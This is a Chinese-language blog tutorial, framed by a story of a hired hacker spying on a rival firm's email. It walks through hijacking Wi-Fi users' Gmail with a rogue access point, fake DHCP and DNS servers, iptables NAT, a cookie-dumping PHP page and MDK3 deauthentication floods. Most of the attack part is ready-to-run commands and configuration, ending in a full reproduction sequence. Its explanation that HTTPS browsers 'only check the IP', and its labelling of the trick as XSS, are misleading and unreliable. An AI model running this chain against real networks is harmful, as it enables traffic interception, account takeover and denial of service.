有了之前學習802.11的數據幀格式、芯片硬件參數學習的基礎后,我們接下來繼續學習無線安全中黑客是怎樣進行流量劫持攻擊的
相關學習資料
http://www.freebuf.com/articles/5448.html http://www.freebuf.com/articles/wireless/5351.html http://tankaiha.blog.51cto.com/8553228/1384460 http://zh.wikipedia.org/wiki/Aircrack-NG http://www.exploit-db.com/wp-content/themes/exploit/docs/20875.pdf http://xiao106347.blog.163.com/blog/static/215992078201425920197/ http://www.metsky.com/archives/561.htm
黑客大曝光:無線網絡安全(原書第2版).pdf
目錄
1. 攻擊發生的場景、攻擊方式思路分析 2. 攻擊技術原理分析 2.1 偽AP原理 2.2 DHCP配置 2.3 DNS配置 2.4 Deauth/DOS拒絕服務攻擊 2.5 XSS中的同源策略 3. 攻擊重現實驗
1. 攻擊發生的場景、攻擊方式思路分析
從本質上來說,內網的流量劫持並不是一個新的攻擊技術,網上有很多關於內網ARP欺騙、IP Spoling、DNS Poison投毒的優秀文章。與此同時,我們也應該認識到,安全技術是一個不斷更替、演進的過程,隨着新的技術、新的使用方式的出現,原有的安全問題會通過組合衍生出新的攻擊姿勢,我們今天要討論的無線安全就是如此,在Wireless這個前提下,內網的攻擊能夠變得更加有效、隱蔽(當然是對黑客來說)。
我們來思考下面這個虛構的故事(純屬YY):
小紅是一家公司的老板助理,日常主要做的事就是幫助老板協調項目合同、以及發送招標文件。 小黑是一個雇佣黑客,他受雇於A公司的一家對手B公司,他的任務就是竊取A公司的機密郵件以獲取A公司的決策動態。 在接到B公司發來的前期定金之后,小黑立刻着手開始社工A公司,目標當然就是小紅,通過一番前期踩點、滲透之后,小黑得到了如下的信息: 1) 公司A在整個公司園區部署了無線AP,並對公司內外人員進行了物理隔離,公司內部人員需要通過員工帳號、密碼連接A-INT的內網AP,而非公司員工的來訪者只能連接A-OUT,這兩個網絡不屬
於一個C段,即想通過傳統的內網嗅探,C段ARP攻擊難度較大(除非能社工到一個公司內部人員的帳號、密碼) 2) A公司的內部沒有設置針對Wireless的IDS、IPS,而且員工普遍沒有設置靜態DHCP、靜態DNS綁定 3) 小紅平時使用最多的是GMAIL進行郵件發送 有了上述的基本信息后,小黑開始冥思苦想,他需要構思出一種攻擊姿勢,能夠借助某種技術在當前環境下對小紅的GMAIL進行劫持,夜漸漸深了,小黑在電腦前快速敲打着鍵盤,突然,他的嘴角露
出了一絲不易察覺的笑容...
小黑想出了一個攻擊方案,需要綜合利用幾種技術
偽AP+偽DHCP+偽DNS+釣魚頁面(XSS攻擊)+獲取GMAIL Cookie 1. 首先,黑客通過Deauth/Disassociation攻擊,強制目標用戶和原始AP斷開連接,通過設置偽AP,嘗試讓目標用戶連接到攻擊者的偽AP上 2. 目標用戶重連之后,會嘗試重新獲取IP,即發送DHCP數據包(DHCP lease(DHCP租約)認證),當客戶端在向DHCP服務器進行租約申請的時候,會采用DHCP服務器發回來的DNS服務器IP地址作
為首選 3. 我們的"偽DHCP服務器"和"合法的DHCP服務器"會進行一場"時間競賽",即我們的"偽DHCP服務器"和"合法的DHCP服務器"都會發送一個"DHCP租約回應"數據包,關鍵問題是看誰的數據包先被
客戶端接收 4. 一旦我們的"偽DHCP服務器"發送的數據包先被客戶端接收到,客戶端在采用我們的指定IP的同時,也會接受我們指定的首選DNS服務器IP地址,這就是DNS劫持的第一步 5. 這種DNS劫持比DNS投毒的效果還要好,一旦成功,在當前租約時間段內就是永久有效的 6. 現在客戶端已經將我們的"偽DNS的IP地址"當作默認的DNS地址了,目標用戶的所有DNS請求都會發往我們的"偽DNS服務器",我們劫持了目標用戶的DNS流量,他所有的URL訪問對應的IP是我們
可以控制的 7. 目標用戶在訪問某個URL的時候(例如GMAIL),它收到的DNS解析IP就是我們控制的"釣魚IP地址"(前提是目標用戶的DNS緩存已經過期,它會重新向DNS獲取一次IP),我們可以利用釣魚頁面對
目標用戶進行攻擊 8. 到了這一步,我們要利用這個釣魚頁面發起XSS攻擊。 我們需要在"釣魚頁面"中嵌入iframe,來獲取"指定網站的cookie",通常來說,WEB瀏覽器不會返回cookie到一個腳本中,除非該腳本來自同一個域的服務器,這就是所謂的同源策略。 我們可以繞過這個防御的原因在與: 1) 例如我們的目標是偷取目標GMAIL的cookie 2) 我們在我們的偽DNS上設置 https://mail.google.com 釣魚IP地址 3) 受害者的瀏覽器訪問的還是正常的 https://mail.google.com,雖然實際對應的IP是我們的釣魚IP,但是對於瀏覽器來說,它只認IP 4) 這樣,我們在釣魚頁面上嵌入XSS攻擊代碼,將https://mail.google.com 的cookie發到https://mail.google.com上,要記住,這個時候https://mail.google.com還是我們的
釣魚IP地址,但是瀏覽器認為這是在執行一個同源的cookie發送,是合法的,所以,攻擊成立 9. 攻擊者通過XSS攻擊獲取到了目標用戶在GMAIL域的cookie,從而可以進行正常等了GMAIL(以目標用戶的身份),從而獲取到目標用戶的郵件記錄
以上就是基本的思路分析,我們接下來我逐一學習本次攻擊中需要涉及到的協議格式、技術原理
2. 攻擊技術原理分析
0x1: 偽AP
要實現偽AP,我們首先得明白真實的原始AP的工作方式,我們之所以在寬帶連接中能看到這么多的Wi-Fi列表,就是因為我們的附近的AP(或者叫wifi熱點)在不斷地發送Beacon信標幀(管理幀的一種)
這個信標幀主要傳遞了以下幾個信息:
1. DA(Destination Address): 這個值總是為FF:FF:FF:FF:FF:FF,即通過廣播方式發送Beacon信標幀 2. SA(Source Address): 發送者的MAC地址,因為是AP發送的,所以即AP的MAC地址 3. BSSID: AP的MAC地址 4. SSID(Service Set Identity): 服務集標識,即我們看到的Wifi名稱 5. 加密方式: OPEN、WEP、WPA、WPA2、CCMP、TKIP 6. 工作頻道: 支持的工作頻道(1~13) 7. 工作模式: 支持的工作模式(802.11 b、802.11 g、802.11 n)
只要這些維度的參數都能和原始AP相同、或兼容,則我們的偽AP就能和原始AP一樣發揮作用,接受來自目標客戶端的連接,從而劫持流量。
關於Beacon信標幀的格式,請參閱:
http://www.cnblogs.com/LittleHann/p/3700357.html
使用airbase-ng這款工具可以幫助我們建立Soft AP(偽AP),airbase-ng的使用參數如下:
Options: -a bssid: set Access Point MAC address //設置AP的MAC地址 -i iface: capture packets from this interface //從指定接口抓取數據包(默認和數據包發送的口是同一個接口) -w WEP key: use this WEP key to en-/decrypt packets //使用指定WEP密鑰進行加密/解密數據包(用於設置WEP的加密參數) -h MAC: source mac for MITM mode //MITM模式使用的源MAC地址 -f disallow: disallow specified client MACs (default: allow) //不允許指定客戶端MAC地址(缺省:允許) -W 0|1: [don't] set WEP flag in beacons 0|1 (default: auto) //[不要]設置WEP標志在信標0|1(缺省:默認不開啟WEP,即默認是OPEN模式) -q: quiet(do not print statistics) //安靜模式(不要打印統計信息) -v: verbose(print more messages) //冗長模式(打印更多信息) -A: Ad-Hoc Mode(allows other clients to peer) //Ad-Hoc模式(允許其他客戶端處於同等級) -Y in|out|both: external packet processing //外部數據包處理 -c channel: sets the channel the AP is running on //設置AP運行在的信道 -X: hidden ESSID //隱藏ESSID -s: force shared key authentication (default: auto) //強制使用共享密鑰驗證(缺省:自動,即默認設置的偽AP是WPA模式的) -S: set shared key challenge length (default: 128) //設置共享密鑰挑戰長度(缺省:128) -L: Caffe-Latte WEP attack (use if driver can't send frags) //Caffe-LatteWEP攻擊(當不能發送碎片時) -N: cfrag WEP attack (recommended) //cfragWEP攻擊(推薦) -x nbpps: number of packets per second (default: 100) //每秒發送數據包個數(缺省:100) -y: disables responses to broadcast probes //取消對廣播探查的響應(即對Prob Requst Broacast的數據包予以忽略) -0: set all WPA,WEP,open tags. can't be used with -z & -Z //設置所有WPA,WEP,OPN標記,不能與-z同時用 -z type: sets WPA1 tags. 1=WEP40 2=TKIP 3=WRAP 4=CCMP 5=WEP104 //設置WPA1標記. -Z type: same as -z, but for WPA2 //與-z一樣,但是用於WPA2 -V type: fake EAPOL 1=MD5 2=SHA1 3=auto //偽裝EAPOL(局域網擴展驗證協議) -F prefix: write all sent and received frames into pcap file //將所有發送和接受的幀寫入pcap文件(這個很重要,它用來記錄我們的捕獲信息) -P: respond to all probes, even when specifying ESSIDs //響應所有探查,即使指定了ESSID -I interval: sets the beacon interval value in ms //設置信標時間間隔,單位毫秒 -C seconds: enables beaconing of probed ESSID values (requires -P) //允許探查信標的ESSID值(要求-P參數) Filter options: --bssid MAC: BSSID to filter/use //過濾/使用的BSSID --bssids file: read a list of BSSIDs out of that file //從指定文件讀取BSSID的清單 --client MAC: MAC of client to filter //客戶端的MAC地址用以過濾 --clients file: read a list of MACs out of that file //從指定文件讀取客戶端MAC地址清單 --essid ESSID: specify a single ESSID (default: default) //指定一個ESSID(缺省值:default) --essids file: read a list of ESSIDs out of that file //從指定文件讀取指定的ESSID清單
使用下列命令可以簡單的搭建一個Soft AP,在文章的后半部分我們會詳細學習怎樣模擬一個真實的偽AP(MAC、信道、加密方式等)
ifconfig -a 查看當前網卡情況 ifconfig wlan1 up 激活你的無線網卡 airmon-ng start wlan1 將你的無線網卡開啟"Monitor"模式 airbase-ng mon0 -e "AirJJ" -c 6
注意到我們已經成功模擬了一個偽AP,但是這個偽AP和原始AP的各項參數還不是很一致,我們需要通過對目標AP進行信息收集,為我們的偽AP設置更高程度的仿真,這並不是很難,比起這個問題,我們當前需要首先解決的一個問題是: DHCP。實驗中可以發現,我們的客戶端即使已經連接上我們的偽AP之后,也會一直顯示在"獲取IP中..."(無法正常獲取到IP),所以,我們還需要對我們的偽AP架設一個偽DHCP服務器
0x2: DHCP配置
限於篇幅原因,我將DHCP的配置、原理分析單獨放到了另一篇文章中
http://www.cnblogs.com/LittleHann/p/3705263.html
我們的偽DHCP服務和偽AP是搭建在同一個服務器上,在配置偽DHCP的時候,我們需要注意以下幾點:
1. 客戶端在連接上我們的偽AP之后,我們需要給它分配IP地址 2. DHCP配置文件中的DNS服務器IP要設置成我們的偽DNS地址 3. DHCP配置文件中的默認網關地址要設置成我們的偽AP的IP地址,將目標客戶端的所有流量都劫持到我們的偽AP上,之后再通過iptables將流量導出到外網出口eth0 2. SoftAP的IP地址和Internet接口的IP地址不能在網一個段(這里將偽AP的IP設置為10.0.0.1)
我們手工搭建一個DHCP服務器
#將網卡設置為靜態IP
vim /etc/network/interfaces auto eth0 #iface eth0 inet dhcp iface eth0 inet static address 192.168.159.254 gateway 192.168.159.2 netmask 255.255.255.0 ifdown eth0 ifup eth0 vim /etc/resolv.conf nameserver 192.168.159.2 #domain LittleHann.com #search LittleHann.com
#安裝DHCP服務
apt-get -y install dhcp3-server 安裝過程中遇到錯誤: Errors were encountered while processing: se-toolkit w3af E: Sub-process /usr/bin/dpkg returned an error code (1) 解決方案 http://blog.csdn.net/wzgl573537270/article/details/22001723 vim /etc/default/dhcp3-server INTERFACES="at0"
cp /etc/dhcp3/dhcpd.conf /etc/dhcp3/dhcpd.conf_backup vim /etc/dhcp3/dhcpd.conf option domain-name "LittleHann.com"; option routers 10.0.0.1; #默認網關 subnet 10.0.0.0 netmask 255.255.255.0 { range 10.0.0.100 10.0.0.200; #地址池 option domain-name-servers 10.0.0.1; #默認DNS option broadcast-address 10.0.0.255; #廣播地址 } default-lease-time 6000; max-lease-time 72000;
#啟動偽AP,激活at0網口
在啟動DHCP之前,要先啟動偽AP,激活at0網口 ifconfig wlan1 up airmon-ng start wlan1 airbase-ng mon0 -e "AirJJ" -c 1
#啟動DHCP服務
這里要重點關注的是網關(option routers 10.0.0.1)的設置,我們的偽AP的IP地址也要設置成同樣的IP地址,即達到劫持流量的目的 ifconfig at0 up ifconfig at0 10.0.0.1 netmask 255.255.255.0 ifconfig at0 mtu 1500 route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1 /etc/init.d/dhcp3-server restart /etc/init.d/dhcp3-server start
DHCP服務器工作正常
用android手機連接上這個偽AP,可以看到,IP獲取正常
0x3: Iptables流量牽引
我們目前通過偽AP、以及偽DHCP的架設,將目標客戶端的流量都劫持到了我們的無線虛擬網卡at0上,要保證用戶能正常上網,還需要使用Iptables做一次流量牽引,將at0上的流量NAT到真正的出口網卡eth0上,這樣才算真正的偽AP(目標客戶端還能正常上網、不會察覺有異常)
#利用iptable的路由點Hook功能,將at0(偽AP)上的流量和網口(eth0)做一個NAT,將流量牽引出去 iptables -t nat -A POSTROUTING -s 10.0.0.0/24 -o eth0 -j SNAT --to-source 192.168.159.254 iptables -t nat -A PREROUTING -d 192.168.159.254 -i eth0 -j DNAT --to 10.0.0.100
關於Iptables的原理、以及使用方式,請參閱我的另一篇文章
http://www.cnblogs.com/LittleHann/p/3708222.html
0x4: DNS配置
我們在DHCP服務器的配置文件中指定客戶端的默認DNS為偽AP所在的本機(10.0.0.1)
所以,我們必須在10.0.0.1上架設一個DNS服務器,將客戶端的DNS解析請求劫持到我們的的phning page(釣魚頁面)上
msf集成了一個模塊,用於模擬一個DNS服務器
https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/server/fakedns.rb http://tools.pentester.es/fakedns http://www.digininja.org/metasploit/dns_dhcp.php
配置方法如下:
use auxiliary/server/fakedns show options set TARGETACTION FAKE set TARGETDOMAIN mail.google.com set TARGETHOST 10.0.0.1 run
從配置文件中我們可以看到,我們將mail.google.com(Gmail郵箱)的域名劫持到了10.0.0.1(本機上)
要注意的是:
1. fakedns這個msf模塊只會劫持我們設置的域名,在本例中是mail.google.com 2. 對於其他的非目標域名(即不是mail.google.com的域名)則采取轉發的方式,即走本機正常的DNS解析流程,即保證目標客戶端的正常上網
客戶端連接上我們的偽AP后,訪問www.sina.cn是正常的
0x5: XSS中的同源策略
我們已經將用戶訪問mail.google.com的流量劫持到了我們的釣魚頁面
客戶端連接上我們的偽AP后,訪問mail.google.com,DNS服務器會返回10.0.0.1的IP地址,即會被劫持到我們的釣魚頁面,而在我們的釣魚頁面,我們就可以使用XSS攻擊來獲取目標客戶端的Cookie信息,因為目標客戶端的瀏覽器訪問的是https://mail.google.com,所以根據同源策略,瀏覽器會把和mail.google.com這個域有關的cookie一起發送給服務器端(也就是我們的10.0.0.1機器),這樣,就利用同源策略幫助我們偷取客戶端的cookie。
因為是GMAIL是https連接,所以我們的釣魚頁面也是https連接,我們需要對我們的釣魚頁面所在的apache配置一下SSL http://man.ddvip.com/linux/debian/apache2/debian-apache2-7.html
為了說明原理,我們的釣魚頁面可以這樣簡單的code一下
<?php echo "Your are Hacked By LittleHann" . "</br>"; $cookie = $_COOKIE; foreach ($cookie as $key => $value) { $res .= $key . "=" . $value . ";"; } echo $res; ?>
可以看到,劫持前,用戶正在正常的訪問GMAIL郵箱
我們啟動偽AP、偽DHCP、偽DNS模塊后,將用戶的gmail流量劫持到了我們的釣魚頁面上,並打印出cookie
獲取cookie成功,接下來就可以進行XSS攻擊了,直接用cookie免登錄
0x5: Deauth/DOS拒絕服務攻擊
至此,我們已經理清了一個偽AP釣魚劫持的攻擊過程中涉及到的技術,但是,還有最后一個技術問題需要我們解決,我們創建的偽AP需要目標用戶的"主動連接",才能劫持流量,進行DNS釣魚。但是,在真實場景中,用戶一般不會去連接一個不熟悉的AP的,所以,我們還需要一種技術,能將用戶和原始AP的連接強制斷開,強制它連接到我們的偽AP上,而且要保證這個過程不引起用戶的察覺
這里我們使用無線DOS工具MDK3,它能夠發起如下攻擊:
1. Beacon Flood Mode 我們知道,Beacon(管理幀)是AP發出來的,用來通知客戶端當前AP的存在,這個模式可以產生大量死亡SSID(永遠不會有響應的SSID)來充斥無線客戶端的無線列表,從而擾亂無線使用者 mdk3 mon0 b -f /pentest/passwords/wordlists/rockyou.txt -t -c 1 -s 80 2. Authentication DoS Authentication(管理幀)是客戶端和AP進行身份認證時發送的數據幀。這是一種驗證請求攻擊模式:在這個模式里,軟件自動模擬隨機產生的mac向目標AP發起大量驗證請求,可以導致AP忙於處
理過多的請求而停止對正常連接客戶端的響應 mdk3 mon0 a -a 74:25:8a:47:3b:70 -s 80 (74:25:8a:47:3b:70是你的目標AP) 3. Basic probing and ESSID Bruteforce mode 基本探測AP信息和ESSID猜解模式 mdk3 mon0 p -b a -t 74:25:8a:47:3b:70 -s 100 4. Deauthentication/Disassociation Amok Deauthentication/Disassociation(管理幀)是客戶端和AP之間進行wireless斷開連接通信的數據幀,即強制解除驗證解除連接,在這個模式下,軟件會向周圍所有可見AP發起循環攻擊
(有黑、白名單對攻擊范圍進行控制) mdk3 mon0 d -s 120 -c 1,6,11 (這種攻擊的強制斷線效果比使用aireplay-ng來發送deauth攻擊效果要好)
3. 攻擊重現實驗
至此,我們已經解決了這個攻擊姿勢中所涉及到的所有技術難點,我們來從頭梳理、重現一遍這整個攻擊過程
開啟無線網卡的Monitor模式
ifconfig -a
ifconfig wlan1 up
airmon-ng start wlan1
探測目標客戶端所連接的AP,為偽AP的架設作准備
airodump-ng mon0
我們了解到以下信息
1. SSID(WiFi名稱): AirJ 2. 加密方式: OPEN 3. 信道: 1
啟動偽AP
airbase-ng mon0 -e "AirJ" -c 1
啟動DHCP
ifconfig at0 up ifconfig at0 10.0.0.1 netmask 255.255.255.0 ifconfig at0 mtu 1500 route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1 /etc/init.d/dhcp3-server start
Iptables流量牽引
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 10.0.0.0/24 -o eth0 -j SNAT --to-source 192.168.159.254
iptables -t nat -A PREROUTING -d 192.168.159.254 -i eth0 -j DNAT --to 10.0.0.100
啟動DNS
msfconsole use auxiliary/server/fakedns show options set TARGETACTION FAKE set TARGETDOMAIN mail.google.com set TARGETHOST 10.0.0.1 run
使用MDK將客戶端強制踢下線,迫使其連接到我們的偽AP上
mdk3 mon0 d -s 120 -c 1,6,11
劫持成功
等待客戶端訪問GMAIL,對其發送DNS+XSS釣魚攻擊
成功獲取到客戶端的cookie數據
4. 后記
除了使用DNS+XSS釣魚攻擊之外,基於偽AP的攻擊還可以是SSL中間人劫持方向的
http://www.freebuf.com/articles/web/5636.html http://www.freebuf.com/tools/10530.html http://www.freebuf.com/articles/web/5929.html http://www.freebuf.com/articles/network/29288.html
Copyright (c) 2014 LittleHann All rights reserved